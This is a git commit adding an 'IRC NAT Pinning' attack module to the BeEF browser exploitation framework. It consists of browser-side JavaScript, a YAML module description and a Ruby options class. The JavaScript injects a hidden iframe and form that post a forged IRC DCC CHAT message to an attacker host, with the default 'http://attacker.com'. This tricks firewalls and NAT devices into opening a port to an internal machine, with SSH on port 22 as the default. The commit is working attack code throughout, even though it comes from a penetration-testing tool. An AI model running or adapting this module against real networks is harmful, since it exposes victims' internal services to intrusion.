nat pinning

This commit is contained in:
bmantra
2012-06-24 19:40:05 +02:00
parent 90462c32b8
commit 286d0a18fb
3 changed files with 125 additions and 0 deletions

View File

@@ -0,0 +1,68 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
beef.execute(function() {
var privateip = '<%= @privateip %>';
var privateport = '<%= @privateport %>';
var connectto = '<%= @connectto %>';
function dot2dec(dot){
var d = dot.split('.');
return (((+d[0])*256+(+d[1]))*256+(+d[2]))*256+(+d[3]);
}
//send a request
function send_msg(privateip,privateport,connectto){
//create hidden iFrame
var iframe = document.createElement("iframe");
iframe.setAttribute("id","irc_nat_pinning_<%= @command_id %>");
iframe.setAttribute("style", "visibility:hidden; width:1px; height: 1px;");
document.body.appendChild(iframe);
iframe = document.getElementById("irc_nat_pinning_<%= @command_id %>");
//create form
var action = connectto + ":6667/"
var myform = document.createElement("form");
myform.setAttribute("name", "data");
myform.setAttribute("method", "post");
myform.setAttribute("enctype", "multipart/form-data");
myform.setAttribute("action", action);
iframe.contentWindow.document.body.appendChild(myform);
//create message, refer Samy Kamkar (http://samy.pl/natpin/)
x = String.fromCharCode(1);
var s = 'PRIVMSG beef :'+x+'DCC CHAT beef '+dot2dec(privateip)+' '+privateport+x+"\n";
//create message textarea
var myExt = document.createElement("textarea");
myExt.setAttribute("id","msg_<%= @command_id %>");
myExt.setAttribute("name","msg_<%= @command_id %>");
myform.appendChild(myExt);
//send message
iframe.contentWindow.document.getElementById("msg_<%= @command_id %>").value = s;
myform.submit();
alert(s);
//clean up
setTimeout('document.body.removeChild(document.getElementById("irc_nat_pinning_<%= @command_id %>"));', 15000);
}
send_msg(privateip,privateport,connectto);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Message sent');
});

View File

@@ -0,0 +1,25 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
module:
irc_nat_pinning:
enable: true
category: "Network"
name: "IRC NAT Pinning"
description: "Attempts to open closed ports on statefull firewalls and attempts to create pinholes on NAT-devices. The firewall/NAT-device must support IRC connection tracking. On the attackers side the TCP connection just needs to be accepted. Then you can connect to the victims public IP on that port. For more information, please refer to: <a href='http://samy.pl/natpin/'>http://samy.pl/natpin/</a> ."
authors: ["Bart Leppens"]
target:
working: ["FF"]

View File

@@ -0,0 +1,32 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
class Irc_nat_pinning < BeEF::Core::Command
def self.options
return [
{'name'=>'connectto', 'ui_label' =>'Connect to','value'=>'http://attacker.com'},
{'name'=>'privateip', 'ui_label' =>'Private IP','value'=>'192.168.0.100'},
{'name'=>'privateport', 'ui_label' =>'Private Port','value'=>'22'}
]
end
def post_execute
return if @datastore['result'].nil?
save({'result' => @datastore['result']})
end
end